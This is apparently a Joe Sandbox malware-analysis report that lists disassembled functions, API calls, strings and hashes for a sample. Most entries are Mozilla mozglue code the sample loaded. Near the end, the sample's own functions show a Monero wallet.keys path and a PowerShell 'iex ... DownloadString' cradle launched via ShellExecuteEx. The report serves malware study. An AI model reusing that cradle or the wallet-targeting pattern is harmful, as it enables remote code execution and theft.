Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 6ef009b618e4dc2276d47103e5047166f93c4b8803c18622eaab8df07a1582e7
Instruction ID: 13cce14c622e3fe2a320bd970416868f695c2265c80d78516b35b0f84a25d382
Opcode Fuzzy Hash: 6ef009b618e4dc2276d47103e5047166f93c4b8803c18622eaab8df07a1582e7
Instruction Fuzzy Hash: 31F03031908249EFD344EFE0A90972C7B70FB14702F040298E609C62A1EA724A929B96

Function 6CAE1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAE1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAE1BE3,?,?,6CAE1D96,00000000), ref: 6CAE1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAE1BE3,?,?,6CAE1D96,00000000), ref: 6CAE1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAE1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAE1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAE1DDA

Part of subcall function 6CAE1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAE1F03
Part of subcall function 6CAE1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAE1DF2,00000000,00000000), ref: 6CAE1F0C
Part of subcall function 6CAE1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAE1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAE1DF4

Part of subcall function 6CAACA10: malloc.MOZGLUE(?), ref: 6CAACA26

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 45192cadb17ba6df01220954d24fd7431a873333773672d16be80c5e67590553
Instruction ID: 5957a72c52e9c3aa11b4ea855ee3f5f61a1ec9bb96f4ef26e4c72f8bcc89a9e4
Opcode Fuzzy Hash: 45192cadb17ba6df01220954d24fd7431a873333773672d16be80c5e67590553
Instruction Fuzzy Hash: B74179B52007049FCB14DF28C489A66BBF9FB49318F10442DEA5A87B42DB71F854CB91

Function 6CAD84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD85AC

Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD767F
Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD7693
Part of subcall function 6CAD7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAD85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAD85B2

Part of subcall function 6CAB5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAB5EDB
Part of subcall function 6CAB5E90: memset.VCRUNTIME140(6CAF7765,000000E5,55CCCCCC), ref: 6CAB5F27
Part of subcall function 6CAB5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAB5FB2

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 996453359f618480451c4feb45fffd09ef35995e5232caee422dceaac27df51d
Instruction ID: d55dd3686cdeec1eb5426bc5121268d8928b496e370eee641a0f37961eb9d9a7
Opcode Fuzzy Hash: 996453359f618480451c4feb45fffd09ef35995e5232caee422dceaac27df51d
Instruction Fuzzy Hash: CD2181742006019FDB14DB29D888A6AB7B9BF8430DF19482DE55FC3B41DB35F988CB91

Function 6CADF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CADF598), ref: 6CADF621

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADF637
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF645
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CADF62A

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 309776b3ac5c6c477981a216ad3cbcb48154ed1d9b0f114e1966721bc234738a
Instruction ID: 12f8b8525e852702d4bf4ea79d0b0d34f76d6b17b5e3a455ced689d19e6b1bdb
Opcode Fuzzy Hash: 309776b3ac5c6c477981a216ad3cbcb48154ed1d9b0f114e1966721bc234738a
Instruction Fuzzy Hash: A81106B6305204AFDB04AF69C9499E67BB9FF8636DB150419FA05C3F01CB71B865CBA0

Function 6CAD05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CACCFAE,?,?,?,6CA931A7), ref: 6CAD05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CACCFAE,?,?,?,6CA931A7), ref: 6CAD0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA931A7), ref: 6CAD061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA931A7), ref: 6CAD0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAD061B, 6CAD0625
<jemalloc>, xrefs: 6CAD05FA, 6CAD060F

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: fd340b16cf3874ac36d5fbefce059c78c26a1f6a9c1ec97e6a758a1d67561d86
Instruction ID: 7cbb4b77949d28c97beb16ecc22c8382f3ec9559d06c23d56b3e86e47a9cd024
Opcode Fuzzy Hash: fd340b16cf3874ac36d5fbefce059c78c26a1f6a9c1ec97e6a758a1d67561d86
Instruction Fuzzy Hash: F7E08CE2A1105037F5142256AC86EBB7A1CEBC6134F080039FD0D83301EA5AAD1A51F7

Function 6CAA05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73eaf3d9f0f67a648ff8e17dbb435bfbb1812d728fe3a1b775bc348ec0390180
Instruction ID: 99df08bf13873c56fe910b1b55b9f6bb4fff346ae51c951b3d821bfc4ff0c61d
Opcode Fuzzy Hash: 73eaf3d9f0f67a648ff8e17dbb435bfbb1812d728fe3a1b775bc348ec0390180
Instruction Fuzzy Hash: B4A148B0A01645CFDB14CF69C594A9AFBF1BF49304F44866ED44A97B00E770A98ACF90

Function 6CAF14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAF14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF14E2
GetCurrentThreadId.KERNEL32 ref: 6CAF1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAF15BA
free.MOZGLUE(?), ref: 6CAF16B4

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: af3bf291d785dcc956ce3d1614f13cb1b028c6002db6cfef4f91c6eab8c7d9dc
Instruction ID: 5be485914b5b60af5b00cff555075daeb40d26aa0aec4cf4669608aa457d8eb3
Opcode Fuzzy Hash: af3bf291d785dcc956ce3d1614f13cb1b028c6002db6cfef4f91c6eab8c7d9dc
Instruction Fuzzy Hash: 8761F1B2A007449BDB118F20D980BEEB7B5BF89308F04851CFE9A57701DB35E989CB91

Function 6CAEDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAEDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CAED38A,?), ref: 6CAEDC6F
free.MOZGLUE(?,?,?,?,?,6CAED38A,?), ref: 6CAEDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CAED38A,?), ref: 6CAEDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CAED38A,?), ref: 6CAEDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CAED38A,?), ref: 6CAEDD4A

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f005d730ff9b41bd75bffc1352d355c46f0f5752656ce7b5396efa80dffa3d06
Instruction ID: cab10a4c589e45dfaf0f3e12f82e2c69a63c1933378b835716d60d73e97f24b8
Opcode Fuzzy Hash: f005d730ff9b41bd75bffc1352d355c46f0f5752656ce7b5396efa80dffa3d06
Instruction Fuzzy Hash: A14125B5A002158FCB00CFA9C98099AB7B6FF8D314B554569D945ABB11D771FC44CBD0

Function 6CAD6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CACFA80: GetCurrentThreadId.KERNEL32 ref: 6CACFA8D
Part of subcall function 6CACFA80: AcquireSRWLockExclusive.KERNEL32(6CB1F448), ref: 6CACFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAD6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAD67C8

Part of subcall function 6CAE4290: memcpy.VCRUNTIME140(?,?,6CAF2003,6CAF0AD9,?,6CAF0AD9,00000000,?,6CAF0AD9,?,00000004,?,6CAF1A62,?,6CAF2003,?), ref: 6CAE42C4

Strings

data, xrefs: 6CAD6593

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4bff0cc6f5211f000099a319d98ed68d9c26c2ff0b4f3588176199cb899a2b74
Instruction ID: 20d2209ca23542407ebd062e7bc3db51b94b4daf894acc4ad1297b834f940f95
Opcode Fuzzy Hash: 4bff0cc6f5211f000099a319d98ed68d9c26c2ff0b4f3588176199cb899a2b74
Instruction Fuzzy Hash: F7D1D075A083408FD724CF64D951BAFBBF5AFD5308F14492DE48987B91DB30A889CB92

Function 6CACD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA9EB57,?,?,?,?,?,?,?,?,?), ref: 6CACD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA9EB57,?), ref: 6CACD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA9EB57,?), ref: 6CACD673
free.MOZGLUE(?), ref: 6CACD888

Strings

|Enabled, xrefs: 6CACD81E

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: d6d67af1dd59e2f73acecad6faf2a078616b29e629e5cc526e96b67d175ca104
Instruction ID: 14c25219c02ee3d92b81a5878d26e4a494a610144e7f86f24d91eab6f273dd64
Opcode Fuzzy Hash: d6d67af1dd59e2f73acecad6faf2a078616b29e629e5cc526e96b67d175ca104
Instruction Fuzzy Hash: FDA1E3B0F043448FDB01CF69C4D46AEBBF1AF49318F18805CD8996BB41D735A889CBA2

Function 6CACF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CACF480

Part of subcall function 6CA9F100: LoadLibraryW.KERNEL32(shell32,?,6CB0D020), ref: 6CA9F122
Part of subcall function 6CA9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA9F132

CloseHandle.KERNEL32(00000000), ref: 6CACF555

Part of subcall function 6CAA14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA1248,6CAA1248,?), ref: 6CAA14C9
Part of subcall function 6CAA14B0: memcpy.VCRUNTIME140(?,6CAA1248,00000000,?,6CAA1248,?), ref: 6CAA14EF

Part of subcall function 6CA9EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA9EEE3

CreateFileW.KERNEL32 ref: 6CACF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CACF523

Strings

\oleacc.dll, xrefs: 6CACF4CB

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 89b1bd3ea5bfc03c6d2c1109bb201597705e7d0234bcccf9a9c05e33b51845bb
Instruction ID: 3b72032b3463eb5ec7c4ce0bd75b3f418d53b407d04b510cceda459978fa34cd
Opcode Fuzzy Hash: 89b1bd3ea5bfc03c6d2c1109bb201597705e7d0234bcccf9a9c05e33b51845bb
Instruction Fuzzy Hash: 4A41BF707187549FE720DF69CD85A9AB7F4AF45318F500A1CF69483650EB30EA89CB92

Function 00884780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,010FE498), ref: 008847DB

Part of subcall function 00888DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

lstrcat.KERNEL32(?,00000000), ref: 00884801
lstrcat.KERNEL32(?,?), ref: 00884820
lstrcat.KERNEL32(?,?), ref: 00884834
lstrcat.KERNEL32(?,010EA5E8), ref: 00884847
lstrcat.KERNEL32(?,?), ref: 0088485B
lstrcat.KERNEL32(?,010FD558), ref: 0088486F

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 00888D90: GetFileAttributesA.KERNEL32(00000000,?,00871B54,?,?,0089564C,?,?,00890E1F), ref: 00888D9F

Part of subcall function 00884570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00884580
Part of subcall function 00884570: RtlAllocateHeap.NTDLL(00000000), ref: 00884587
Part of subcall function 00884570: wsprintfA.USER32 ref: 008845A6
Part of subcall function 00884570: FindFirstFileA.KERNEL32(?,?), ref: 008845BD

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 9c741d7dd513abd00233d32560da618eedc2ebd2e8cf9f69cde15d0517be50b3
Instruction ID: 76039ea180290ac0a45a125a292bf004549d48c31cfd8d72772b004e388ecd94
Opcode Fuzzy Hash: 9c741d7dd513abd00233d32560da618eedc2ebd2e8cf9f69cde15d0517be50b3
Instruction Fuzzy Hash: 2C317FB2900208A7CB14FBF4DC85EE9777CFB58700F404589B31996092EE749B898B92

Function 00882C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

ShellExecuteEx.SHELL32(0000003C), ref: 00882D85

Strings

')", xrefs: 00882CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00882CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00882D04
<, xrefs: 00882D39

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
